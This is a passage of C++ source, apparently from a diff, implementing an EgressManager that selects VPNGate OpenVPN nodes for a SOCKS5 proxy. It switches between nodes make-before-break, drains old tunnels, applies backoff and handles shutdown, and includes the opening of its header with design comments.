||||
strand_(asio::make_strand(io)),
|
||||
drain_timer_(strand_) {
|
||||
#if OVG_WITH_TUNNEL
|
||||
if (stack_ != nullptr) {
|
||||
factory_ = [this](const vpngate::Node &node, const vpngate::Remote &remote,
|
||||
NodeReadyHandler on_ready) -> EgressPtr {
|
||||
auto e = TunnelEgress::create(io_, *stack_, cfg_.ovpn);
|
||||
std::string err;
|
||||
if (!e->start(node, remote, std::move(on_ready), &err)) {
|
||||
LOG_WARN(kMod, "cannot start {}: {}", node.id(), err);
|
||||
return nullptr;
|
||||
}
|
||||
return e;
|
||||
};
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
EgressManager::~EgressManager() = default;
|
||||
|
||||
void EgressManager::set_egress_factory(EgressFactory f) {
|
||||
factory_ = std::move(f);
|
||||
}
|
||||
|
||||
void EgressManager::set_on_promote(PromoteHandler h) {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
on_promote_ = std::move(h);
|
||||
}
|
||||
|
||||
void EgressManager::set_on_drain_expired(DrainExpiredHandler h) {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
on_drain_expired_ = std::move(h);
|
||||
}
|
||||
|
||||
EgressPtr EgressManager::acquire() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
// Deliberately not "any usable egress": a draining one must never take new
|
||||
// sessions, or the drain would never end.
|
||||
if (active_ && active_->usable()) return active_;
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
void EgressManager::set_phase(SwitchPhase p) {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
phase_ = p;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Startup
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void EgressManager::start(StartHandler on_ready) {
|
||||
asio::post(strand_, [this, on_ready = std::move(on_ready)]() mutable {
|
||||
if (shutting_down_) {
|
||||
if (on_ready) on_ready(make_error_code(Error::Cancelled));
|
||||
return;
|
||||
}
|
||||
on_start_ = std::move(on_ready);
|
||||
start_reported_ = false;
|
||||
start_rounds_ = 0;
|
||||
|
||||
if (cfg_.egress_mode != "tunnel") {
|
||||
// Direct mode has nothing to select and nothing to switch to; it is up as
|
||||
// soon as it is constructed.
|
||||
auto e = make_direct();
|
||||
set_phase(SwitchPhase::Promoting);
|
||||
promote(SwitchReason::Startup, std::move(e), nullptr);
|
||||
return;
|
||||
}
|
||||
|
||||
set_phase(SwitchPhase::Selecting);
|
||||
begin_select(SwitchReason::Startup);
|
||||
});
|
||||
}
|
||||
|
||||
void EgressManager::finish_start(const std::error_code &ec,
|
||||
const std::string &why) {
|
||||
if (start_reported_) return;
|
||||
start_reported_ = true;
|
||||
auto h = std::move(on_start_);
|
||||
on_start_ = nullptr;
|
||||
if (!h) return;
|
||||
if (ec) {
|
||||
LOG_ERROR(kMod, "startup failed: {}", why);
|
||||
}
|
||||
// Off the strand: the caller's handler starts listeners and does not belong
|
||||
// inside our state machine's serialization.
|
||||
asio::post(io_, [h = std::move(h), ec]() { h(ec); });
|
||||
}
|
||||
|
||||
EgressPtr EgressManager::make_direct() { return DirectEgress::create(io_, cfg_.dns); }
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Switch request
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
bool EgressManager::request_switch(SwitchReason reason, bool force,
|
||||
std::string *why) {
|
||||
const auto decline = [&](std::string msg) {
|
||||
LOG_DEBUG(kMod, "switch({}) declined: {}", switch_reason_name(reason), msg);
|
||||
if (why) *why = std::move(msg);
|
||||
return false;
|
||||
};
|
||||
if (cfg_.egress_mode != "tunnel") {
|
||||
return decline(fmt::format(
|
||||
"egress_mode = {}: there is no tunnel here to switch away from",
|
||||
cfg_.egress_mode));
|
||||
}
|
||||
const auto now = Clock::now();
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
// Draining counts as quiescent: a 2-minute grace window must not block a
|
||||
// node going bad in the meantime.
|
||||
if (phase_ != SwitchPhase::Idle && phase_ != SwitchPhase::Draining) {
|
||||
return decline(fmt::format("a switch is already in progress ({})",
|
||||
switch_phase_name(phase_)));
|
||||
}
|
||||
if (!force) {
|
||||
if (last_switch_ != Clock::time_point{} &&
|
||||
now - last_switch_ < cfg_.switching.min_interval) {
|
||||
return decline(fmt::format(
|
||||
"anti-flap: {} ms since the last switch, minimum is {} ms",
|
||||
ms_since(last_switch_), cfg_.switching.min_interval.count()));
|
||||
}
|
||||
if (now < backoff_until_) {
|
||||
return decline(fmt::format(
|
||||
"backing off after a failed switch for another {} ms",
|
||||
std::chrono::duration_cast<Millis>(backoff_until_ - now).count()));
|
||||
}
|
||||
}
|
||||
// Claiming the phase here, under the same lock as the checks, is what makes
|
||||
// two concurrent requests resolve to one switch.
|
||||
phase_ = SwitchPhase::Selecting;
|
||||
candidate_node_.clear();
|
||||
}
|
||||
asio::post(strand_, [this, reason] {
|
||||
if (shutting_down_) {
|
||||
set_phase(SwitchPhase::Idle);
|
||||
return;
|
||||
}
|
||||
begin_select(reason);
|
||||
});
|
||||
return true;
|
||||
}
|
||||
|
||||
void EgressManager::begin_select(SwitchReason reason) {
|
||||
if (!selector_) {
|
||||
fail_switch(reason, "no selector: nothing can be chosen");
|
||||
return;
|
||||
}
|
||||
selector::SelectRequest req;
|
||||
req.exclude_ids = excluded_ids();
|
||||
// More than one, because the point of the list is to have a second choice
|
||||
// when the first fails to come up.
|
||||
req.want = 3;
|
||||
req.probe = true;
|
||||
|
||||
LOG_INFO(kMod, "selecting a node ({}), excluding {} in use",
|
||||
switch_reason_name(reason), req.exclude_ids.size());
|
||||
|
||||
selector_->select(std::move(req), [this, reason](
|
||||
std::vector<selector::Candidate> c) {
|
||||
asio::post(strand_, [this, reason, c = std::move(c)]() mutable {
|
||||
if (shutting_down_) {
|
||||
set_phase(SwitchPhase::Idle);
|
||||
return;
|
||||
}
|
||||
on_candidates(reason, std::move(c));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
std::vector<std::string> EgressManager::excluded_ids() const {
|
||||
std::vector<std::string> ids;
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (active_) {
|
||||
auto id = active_->stats().node_id;
|
||||
if (!id.empty()) ids.push_back(std::move(id));
|
||||
}
|
||||
// A node still draining cannot be re-entered: its addresses are still bound
|
||||
// in lwIP, and reconnecting to it would collide with itself.
|
||||
for (const auto &d : draining_) {
|
||||
if (!d.node_id.empty()) ids.push_back(d.node_id);
|
||||
}
|
||||
return ids;
|
||||
}
|
||||
|
||||
bool EgressManager::beats_incumbent(const selector::Candidate &c) const {
|
||||
if (!selector_) return true;
|
||||
std::string incumbent;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (!active_) return true;
|
||||
incumbent = active_->stats().node_id;
|
||||
}
|
||||
if (incumbent.empty()) return true;
|
||||
auto cur = selector_->rescore(incumbent);
|
||||
// The incumbent has fallen out of the node list entirely. That is itself a
|
||||
// reason to move, not a reason to stay.
|
||||
if (!cur) return true;
|
||||
const double need = cur->score * (1.0 + cfg_.switching.improvement_margin);
|
||||
const bool ok = c.score >= need;
|
||||
LOG_INFO(kMod, "candidate {} scores {:.3f} vs incumbent {} {:.3f} (need {:.3f}): {}",
|
||||
c.node.id(), c.score, incumbent, cur->score, need,
|
||||
ok ? "switching" : "staying");
|
||||
return ok;
|
||||
}
|
||||
|
||||
void EgressManager::on_candidates(SwitchReason reason,
|
||||
std::vector<selector::Candidate> c) {
|
||||
if (c.empty()) {
|
||||
// Cold start: the directory refresh is still in flight, so there is nothing
|
||||
// to choose from *yet*. Treated as a failed switch this costs a full
|
||||
// backoff -- thirty seconds of "no egress" on every single start, for a
|
||||
// race that resolves in about one second. It is not a failure; nothing has
|
||||
// been tried. Retry soon and leave the backoff ladder alone.
|
||||
if (!selector_->directory_loaded()) {
|
||||
retry_startup(reason, kDirectoryWaitDelay, "waiting for the node list");
|
||||
return;
|
||||
}
|
||||
fail_switch(reason, "selector returned no usable candidates");
|
||||
return;
|
||||
}
|
||||
// Only an opportunistic switch has to justify itself. When the current node
|
||||
// is unhealthy or gone, anything that connects is an improvement.
|
||||
if (reason == SwitchReason::BetterCandidate && !beats_incumbent(c.front())) {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining;
|
||||
return;
|
||||
}
|
||||
collision_forced_ = false;
|
||||
auto queue = std::make_shared<std::vector<selector::Candidate>>(std::move(c));
|
||||
set_phase(SwitchPhase::Connecting);
|
||||
try_candidate(reason, std::move(queue), 0);
|
||||
}
|
||||
|
||||
void EgressManager::try_candidate(SwitchReason reason, CandidateQueue queue,
|
||||
size_t idx) {
|
||||
if (shutting_down_) {
|
||||
set_phase(SwitchPhase::Idle);
|
||||
return;
|
||||
}
|
||||
if (idx >= queue->size()) {
|
||||
fail_switch(reason, "every candidate failed to come up");
|
||||
return;
|
||||
}
|
||||
if (!factory_) {
|
||||
fail_switch(reason,
|
||||
"no egress factory (built without tunnel support, or no "
|
||||
"netstack was supplied)");
|
||||
return;
|
||||
}
|
||||
const selector::Candidate &cand = (*queue)[idx];
|
||||
const vpngate::Remote *remote = cand.node.pick_remote(cfg_.selector.prefer_udp);
|
||||
if (remote == nullptr) {
|
||||
candidate_failed(reason, queue, idx, make_error_code(Error::ConfigInvalid),
|
||||
"profile has no usable remote");
|
||||
return;
|
||||
}
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
candidate_node_ = cand.node.id();
|
||||
}
|
||||
LOG_INFO(kMod,
|
||||
"connecting candidate {}/{}: {} ({} {}:{}) score={:.3f} rtt={:.1f}ms",
|
||||
idx + 1, queue->size(), cand.node.id(), cand.node.country_short,
|
||||
remote->host, remote->port, cand.score, cand.rtt_ms);
|
||||
|
||||
// The handler is posted rather than run inline so a factory that completes
|
||||
// synchronously still lands after `pending_` has been set below.
|
||||
auto e = factory_(
|
||||
cand.node, *remote,
|
||||
[this, reason, queue, idx](const std::error_code &ec,
|
||||
const std::string &detail) {
|
||||
asio::post(strand_, [this, reason, queue, idx, ec, detail] {
|
||||
if (shutting_down_) return;
|
||||
if (ec) {
|
||||
candidate_failed(reason, queue, idx, ec, detail);
|
||||
return;
|
||||
}
|
||||
auto fresh = std::move(pending_);
|
||||
if (!fresh) return; // shutdown raced us
|
||||
set_phase(SwitchPhase::Promoting);
|
||||
promote(reason, std::move(fresh), &(*queue)[idx]);
|
||||
});
|
||||
});
|
||||
if (!e) {
|
||||
candidate_failed(reason, queue, idx, make_error_code(Error::ConfigInvalid),
|
||||
"node could not be started");
|
||||
return;
|
||||
}
|
||||
pending_ = std::move(e);
|
||||
}
|
||||
|
||||
void EgressManager::candidate_failed(SwitchReason reason, CandidateQueue queue,
|
||||
size_t idx, const std::error_code &ec,
|
||||
const std::string &detail) {
|
||||
const selector::Candidate &cand = (*queue)[idx];
|
||||
auto dead = std::move(pending_);
|
||||
pending_.reset();
|
||||
|
||||
// The old egress was never touched, so this costs the sessions on it nothing.
|
||||
LOG_WARN(kMod, "candidate {} failed to come up: {} ({})", cand.node.id(),
|
||||
detail.empty() ? ec.message() : detail, ec.message());
|
||||
if (history_) history_->record_failure(cand.node.id());
|
||||
|
||||
auto next = [this, reason, queue, idx] {
|
||||
// Address collision is the one failure where retrying the *same* node makes
|
||||
// sense -- but only after the thing it collided with is gone, which means
|
||||
// giving up on keeping the old sessions. This is the documented fallback
|
||||
// from the requirement: keep them if possible, otherwise drop them all.
|
||||
asio::post(strand_, [this, reason, queue, idx] {
|
||||
try_candidate(reason, queue, idx);
|
||||
});
|
||||
};
|
||||
|
||||
if (ec == Error::ResourceExhausted && !collision_forced_) {
|
||||
collision_forced_ = true;
|
||||
LOG_WARN(kMod,
|
||||
"address collision with a tunnel still in use: downgrading to a "
|
||||
"hard switch, existing sessions will be closed");
|
||||
m_hard()->inc();
|
||||
if (dead) dead->shutdown();
|
||||
evict_all("address collision");
|
||||
next();
|
||||
return;
|
||||
}
|
||||
|
||||
if (dead) dead->shutdown();
|
||||
asio::post(strand_, [this, reason, queue, idx] {
|
||||
try_candidate(reason, queue, idx + 1);
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Promotion and draining
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void EgressManager::promote(SwitchReason reason, EgressPtr fresh,
|
||||
const selector::Candidate *cand) {
|
||||
EgressPtr old;
|
||||
PromoteHandler on_promote;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
old = active_;
|
||||
active_ = fresh;
|
||||
on_promote = on_promote_;
|
||||
switches_++;
|
||||
last_switch_ = Clock::now();
|
||||
last_reason_ = switch_reason_name(reason);
|
||||
candidate_node_.clear();
|
||||
// A successful bring-up clears the penalty; the next failure starts over at
|
||||
// backoff_initial rather than wherever the previous streak left off.
|
||||
backoff_ = Millis{0};
|
||||
backoff_until_ = Clock::time_point{};
|
||||
}
|
||||
m_switches()->inc();
|
||||
if (cand && history_) history_->record_success(cand->node.id(), cand->rtt_ms);
|
||||
|
||||
LOG_INFO(kMod, "promoted {} ({}){}", fresh->label(),
|
||||
switch_reason_name(reason),
|
||||
old ? fmt::format(", replacing {}", old->label()) : "");
|
||||
|
||||
// Before the old one starts refusing work, so the SOCKS5 layer can re-home
|
||||
// what is safe to re-home while both are still up.
|
||||
if (on_promote) on_promote(old, fresh);
|
||||
|
||||
if (old) {
|
||||
old->begin_drain();
|
||||
const bool hard = cfg_.switching.mode == SwitchConfig::Mode::Hard;
|
||||
if (hard) {
|
||||
LOG_INFO(kMod, "switch mode is hard: closing {} now", old->label());
|
||||
m_hard()->inc();
|
||||
DrainExpiredHandler h;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
h = on_drain_expired_;
|
||||
}
|
||||
if (h) h(old);
|
||||
old->shutdown();
|
||||
} else {
|
||||
DrainingEgress d;
|
||||
d.node_id = old->stats().node_id;
|
||||
d.deadline = Clock::now() + cfg_.switching.drain_grace;
|
||||
d.egress = old;
|
||||
// use_count() here is ours plus every session still holding one. Reported
|
||||
// rather than acted on: the sessions end when they end.
|
||||
LOG_INFO(kMod, "draining {} for up to {} ms ({} references live)",
|
||||
old->label(), cfg_.switching.drain_grace.count(),
|
||||
old.use_count() - 1);
|
||||
std::vector<EgressPtr> over_limit;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
draining_.push_back(std::move(d));
|
||||
// Bounded on purpose: each draining tunnel still holds an OpenVPN
|
||||
// session, a netif and its buffers. Without a cap, a flapping node
|
||||
// would accumulate them until memory ran out.
|
||||
while (draining_.size() > cfg_.switching.max_draining) {
|
||||
over_limit.push_back(draining_.front().egress);
|
||||
draining_.erase(draining_.begin());
|
||||
}
|
||||
m_draining()->set(static_cast<int64_t>(draining_.size()));
|
||||
}
|
||||
for (const auto &e : over_limit) {
|
||||
LOG_WARN(kMod, "too many draining egresses: closing {} early",
|
||||
e->label());
|
||||
m_drain_expired()->inc();
|
||||
DrainExpiredHandler h;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
h = on_drain_expired_;
|
||||
}
|
||||
if (h) h(e);
|
||||
e->shutdown();
|
||||
}
|
||||
schedule_drain_sweep();
|
||||
}
|
||||
}
|
||||
|
||||
finish_start({}, {});
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining;
|
||||
}
|
||||
}
|
||||
|
||||
void EgressManager::evict_all(const char *why) {
|
||||
EgressPtr old;
|
||||
std::vector<DrainingEgress> drains;
|
||||
DrainExpiredHandler h;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
old = std::move(active_);
|
||||
active_.reset();
|
||||
drains.swap(draining_);
|
||||
h = on_drain_expired_;
|
||||
m_draining()->set(0);
|
||||
}
|
||||
// acquire() returns null from here until a promotion lands: new SOCKS5
|
||||
// sessions are refused rather than silently sent outside the tunnel.
|
||||
if (old) {
|
||||
LOG_WARN(kMod, "closing active egress {} ({})", old->label(), why);
|
||||
if (h) h(old);
|
||||
old->shutdown();
|
||||
}
|
||||
for (auto &d : drains) {
|
||||
if (h) h(d.egress);
|
||||
d.egress->shutdown();
|
||||
}
|
||||
}
|
||||
|
||||
void EgressManager::schedule_drain_sweep() {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (draining_.empty()) return;
|
||||
}
|
||||
// One shared timer at a fixed cadence rather than a timer per drain: the
|
||||
// grace window is minutes, so a second of slack costs nothing and this keeps
|
||||
// the timer count independent of how many drains are in flight.
|
||||
drain_timer_.expires_after(std::chrono::seconds(1));
|
||||
drain_timer_.async_wait([this](const std::error_code &ec) {
|
||||
if (ec) return;
|
||||
sweep_drains();
|
||||
});
|
||||
}
|
||||
|
||||
void EgressManager::sweep_drains() {
|
||||
if (shutting_down_) return;
|
||||
std::vector<EgressPtr> expired;
|
||||
std::vector<EgressPtr> finished;
|
||||
DrainExpiredHandler h;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
h = on_drain_expired_;
|
||||
const auto now = Clock::now();
|
||||
auto it = draining_.begin();
|
||||
while (it != draining_.end()) {
|
||||
// use_count() == 1 means we hold the only reference: every session that
|
||||
// was on this egress has ended. This is the whole drain-completion test.
|
||||
if (it->egress.use_count() == 1) {
|
||||
finished.push_back(it->egress);
|
||||
it = draining_.erase(it);
|
||||
} else if (now >= it->deadline) {
|
||||
expired.push_back(it->egress);
|
||||
it = draining_.erase(it);
|
||||
} else {
|
||||
++it;
|
||||
}
|
||||
}
|
||||
m_draining()->set(static_cast<int64_t>(draining_.size()));
|
||||
}
|
||||
|
||||
for (const auto &e : finished) {
|
||||
LOG_INFO(kMod, "drain complete for {}: last session ended after {} ms",
|
||||
e->label(), e->stats().uptime_ms);
|
||||
e->shutdown();
|
||||
}
|
||||
for (const auto &e : expired) {
|
||||
LOG_WARN(kMod,
|
||||
"drain grace expired for {} with {} sessions still open: closing",
|
||||
e->label(), e.use_count() - 1);
|
||||
m_drain_expired()->inc();
|
||||
if (h) h(e);
|
||||
e->shutdown();
|
||||
}
|
||||
|
||||
bool more = false;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
more = !draining_.empty();
|
||||
if (!more && phase_ == SwitchPhase::Draining) phase_ = SwitchPhase::Idle;
|
||||
}
|
||||
if (more) schedule_drain_sweep();
|
||||
}
|
||||
|
||||
void EgressManager::retry_startup(SwitchReason reason, Millis delay,
|
||||
const std::string &why) {
|
||||
// Deliberately does *not* touch backoff_ or switch_failures_: nothing was
|
||||
// attempted, so there is nothing to back off from and no failure to report.
|
||||
// Releasing the phase is what matters -- the tunnel-down watchdog re-requests
|
||||
// every few seconds and would otherwise be told a switch is in progress.
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining;
|
||||
candidate_node_.clear();
|
||||
}
|
||||
|
||||
if (reason != SwitchReason::Startup || start_reported_) {
|
||||
LOG_INFO(kMod, "switch ({}) deferred: {}", switch_reason_name(reason), why);
|
||||
return;
|
||||
}
|
||||
|
||||
if (++directory_waits_ > kMaxDirectoryWaits) {
|
||||
finish_start(make_error_code(Error::TunnelSetupFailed),
|
||||
fmt::format("{} after {} s", why, kMaxDirectoryWaits));
|
||||
return;
|
||||
}
|
||||
// Only the first is worth a line; the rest would be one INFO per second.
|
||||
if (directory_waits_ == 1) LOG_INFO(kMod, "startup {}", why);
|
||||
|
||||
arm_startup_poll(delay);
|
||||
}
|
||||
|
||||
void EgressManager::arm_startup_poll(Millis delay) {
|
||||
auto timer = std::make_shared<asio::steady_timer>(strand_);
|
||||
timer->expires_after(delay);
|
||||
timer->async_wait([this, timer](const std::error_code &ec) {
|
||||
if (ec || shutting_down_ || start_reported_) return;
|
||||
// Claim the phase rather than assume it. Releasing it (which is the whole
|
||||
// point of the no-penalty retry) makes the manager reachable again, and the
|
||||
// tunnel-down watchdog fires every three seconds while there is no egress:
|
||||
// without this check both timers run a selection at once and two tunnels
|
||||
// get built for one slot.
|
||||
if (!claim_switch_phase()) {
|
||||
LOG_DEBUG(kMod, "startup poll: a selection is already running, waiting");
|
||||
arm_startup_poll(kDirectoryWaitDelay);
|
||||
return;
|
||||
}
|
||||
begin_select(SwitchReason::Startup);
|
||||
});
|
||||
}
|
||||
|
||||
bool EgressManager::claim_switch_phase() {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (phase_ != SwitchPhase::Idle && phase_ != SwitchPhase::Draining)
|
||||
return false;
|
||||
phase_ = SwitchPhase::Selecting;
|
||||
candidate_node_.clear();
|
||||
return true;
|
||||
}
|
||||
|
||||
void EgressManager::fail_switch(SwitchReason reason, const std::string &why) {
|
||||
Millis delay{0};
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
switch_failures_++;
|
||||
// Exponential, so a node list that is briefly unusable is retried soon and
|
||||
// one that is persistently unusable is not hammered.
|
||||
backoff_ = backoff_.count() == 0
|
||||
? cfg_.switching.backoff_initial
|
||||
: std::min(backoff_ * 2, cfg_.switching.backoff_max);
|
||||
backoff_until_ = Clock::now() + backoff_;
|
||||
phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining;
|
||||
candidate_node_.clear();
|
||||
delay = backoff_;
|
||||
}
|
||||
m_switch_failed()->inc();
|
||||
LOG_WARN(kMod, "switch ({}) failed: {}; backing off {} ms",
|
||||
switch_reason_name(reason), why, delay.count());
|
||||
|
||||
if (reason != SwitchReason::Startup || start_reported_) return;
|
||||
|
||||
if (++start_rounds_ >= kStartupRounds) {
|
||||
finish_start(make_error_code(Error::TunnelSetupFailed),
|
||||
fmt::format("no node came up after {} rounds: {}",
|
||||
start_rounds_, why));
|
||||
return;
|
||||
}
|
||||
// Startup is the one case that retries itself: there is nothing to serve
|
||||
// traffic with until it succeeds, so no external trigger will arrive.
|
||||
LOG_INFO(kMod, "retrying startup (round {}) in {} ms", start_rounds_ + 1,
|
||||
delay.count());
|
||||
arm_startup_poll(delay);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Shutdown and introspection
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void EgressManager::shutdown(std::function<void()> on_done) {
|
||||
asio::post(strand_, [this, on_done = std::move(on_done)]() mutable {
|
||||
if (shutting_down_) {
|
||||
if (on_done) asio::post(io_, std::move(on_done));
|
||||
return;
|
||||
}
|
||||
shutting_down_ = true;
|
||||
drain_timer_.cancel();
|
||||
finish_start(make_error_code(Error::Cancelled), "shutting down");
|
||||
|
||||
std::vector<EgressPtr> all;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (active_) all.push_back(std::move(active_));
|
||||
active_.reset();
|
||||
for (auto &d : draining_) all.push_back(std::move(d.egress));
|
||||
draining_.clear();
|
||||
phase_ = SwitchPhase::Idle;
|
||||
m_draining()->set(0);
|
||||
}
|
||||
if (pending_) all.push_back(std::move(pending_));
|
||||
pending_.reset();
|
||||
|
||||
LOG_INFO(kMod, "shutting down {} egress(es)", all.size());
|
||||
if (all.empty()) {
|
||||
if (on_done) asio::post(io_, std::move(on_done));
|
||||
return;
|
||||
}
|
||||
// Every egress must report done before the caller may stop the io_context;
|
||||
// a tunnel that is still tearing down needs its handlers to keep running.
|
||||
auto remaining = std::make_shared<std::atomic<size_t>>(all.size());
|
||||
auto done = std::make_shared<std::function<void()>>(std::move(on_done));
|
||||
for (const auto &e : all) {
|
||||
e->shutdown([this, remaining, done, e]() {
|
||||
if (remaining->fetch_sub(1) == 1 && *done) {
|
||||
asio::post(io_, *done);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
EgressManager::Status EgressManager::status() const {
|
||||
Status s;
|
||||
EgressPtr active;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
s.phase = phase_;
|
||||
active = active_;
|
||||
s.draining = draining_.size();
|
||||
s.switches = switches_;
|
||||
s.switch_failures = switch_failures_;
|
||||
s.last_reason = last_reason_;
|
||||
s.candidate = candidate_node_;
|
||||
if (last_switch_ != Clock::time_point{}) s.ms_since_switch = ms_since(last_switch_);
|
||||
const auto now = Clock::now();
|
||||
if (backoff_until_ > now) {
|
||||
s.backoff_ms =
|
||||
std::chrono::duration_cast<Millis>(backoff_until_ - now).count();
|
||||
}
|
||||
}
|
||||
if (active) {
|
||||
s.active_node = active->label();
|
||||
s.active_state = active->state();
|
||||
s.active_detail = active->detail();
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
std::vector<EgressStats> EgressManager::draining_stats() const {
|
||||
std::vector<EgressPtr> copies;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
copies.reserve(draining_.size());
|
||||
for (const auto &d : draining_) copies.push_back(d.egress);
|
||||
}
|
||||
std::vector<EgressStats> out;
|
||||
out.reserve(copies.size());
|
||||
// stats() outside the lock: it reaches into the netstack, and holding mu_
|
||||
// across that would put the accept path behind the tunnel's own mutex.
|
||||
for (const auto &e : copies) out.push_back(e->stats());
|
||||
return out;
|
||||
}
|
||||
|
||||
} // namespace ovg::egress
|
||||
@@ -0,0 +1,258 @@
|
||||
// Owns the active egress and runs the switch.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// The one rule
|
||||
// ---------------------------------------------------------------------------
|
||||
// `acquire()` hands out a shared_ptr. A session holds it for its whole life.
|
||||
// Promotion replaces the pointer the manager stores; it does not touch anyone
|
||||
// who already has one. That single rule is the whole make-before-break design
|
||||
// (docs/ARCHITECTURE.md §5.2) and the reason there is no session registry here:
|
||||
// use_count() *is* the number of sessions still on an egress, so a drain is
|
||||
// finished exactly when the last reference goes away, and it cannot be leaked,
|
||||
// double-counted, or forgotten.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// The switch, end to end
|
||||
// ---------------------------------------------------------------------------
|
||||
// Idle -> Selecting -> Connecting -> Promoting -> Draining -> Idle
|
||||
//
|
||||
// Selecting ask the selector for candidates, minus the incumbent and
|
||||
// anything already draining
|
||||
// Connecting bring the new tunnel *all the way up* while the old one keeps
|
||||
// serving. A failure here costs nothing: the old egress was never
|
||||
// touched. The candidate is penalised and we back off.
|
||||
// Promoting swap the pointer. New sessions land on the new egress from the
|
||||
// next acquire().
|
||||
// Draining the old egress serves its remaining sessions for at most
|
||||
// `drain_grace`, then is force-closed.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Where the requirement cannot be met, and what happens instead
|
||||
// ---------------------------------------------------------------------------
|
||||
// "Existing SOCKS5 TCP connections should be kept if possible; if not, drop
|
||||
// them all." Two cases genuinely cannot be kept, and both degrade explicitly:
|
||||
//
|
||||
// * A session that has already moved bytes carries TCP state -- sequence
|
||||
// numbers, a half-written request, a partially-read response -- that cannot
|
||||
// be reproduced on a new path. Those sessions drain on the old egress and
|
||||
// are closed when the grace window expires. A session that has moved *no*
|
||||
// bytes has no such state, and SwitchConfig::retry_zero_progress lets the
|
||||
// SOCKS5 layer re-dial it on the new egress transparently.
|
||||
// * Two tunnels that push the same private address are indistinguishable to
|
||||
// lwIP (netstack/lwip_stack.h), so the second netif is refused. Then there
|
||||
// is no make-before-break to be had: the manager falls back to a hard
|
||||
// switch, which is the requirement's own stated fallback.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Threading
|
||||
// ---------------------------------------------------------------------------
|
||||
// All state transitions run on an internal strand. acquire() and stats() are
|
||||
// callable from any thread and take a short mutex; they are on the accept path,
|
||||
// so they never block on a switch.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <chrono>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <optional>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/strand_deleter.h" // ovg::Strand
|
||||
#include "egress/egress.h"
|
||||
#include "selector/history.h"
|
||||
#include "selector/selector.h"
|
||||
#include "vpngate/node.h"
|
||||
|
||||
namespace ovg::netstack {
|
||||
class Stack;
|
||||
}
|
||||
|
||||
namespace ovg::egress {
|
||||
|
||||
enum class SwitchPhase {
|
||||
Idle,
|
||||
Selecting,
|
||||
Connecting,
|
||||
Promoting,
|
||||
Draining,
|
||||
};
|
||||
const char *switch_phase_name(SwitchPhase p);
|
||||
|
||||
// Why a switch was asked for. Only used for logs and metrics, but "why did it
|
||||
// switch at 3am" is the first question anyone asks.
|
||||
enum class SwitchReason {
|
||||
Startup,
|
||||
Unhealthy,
|
||||
BetterCandidate,
|
||||
TunnelDown,
|
||||
Manual,
|
||||
};
|
||||
const char *switch_reason_name(SwitchReason r);
|
||||
|
||||
struct DrainingEgress {
|
||||
EgressPtr egress;
|
||||
std::chrono::steady_clock::time_point deadline;
|
||||
std::string node_id;
|
||||
};
|
||||
|
||||
class EgressManager {
|
||||
public:
|
||||
// `stack` may be null in a build without the tunnel, or when egress_mode is
|
||||
// "direct"; in that case the manager only ever produces a DirectEgress, and
|
||||
// `selector`/`history` may be null too.
|
||||
//
|
||||
// `history` is written from here, not only from the selector: a node that
|
||||
// probes well but cannot actually complete a tunnel handshake is exactly the
|
||||
// node the backoff exists for, and only this class ever learns that.
|
||||
EgressManager(asio::io_context &io, Config cfg, selector::Selector *selector,
|
||||
selector::HistoryStore *history, netstack::Stack *stack);
|
||||
~EgressManager();
|
||||
|
||||
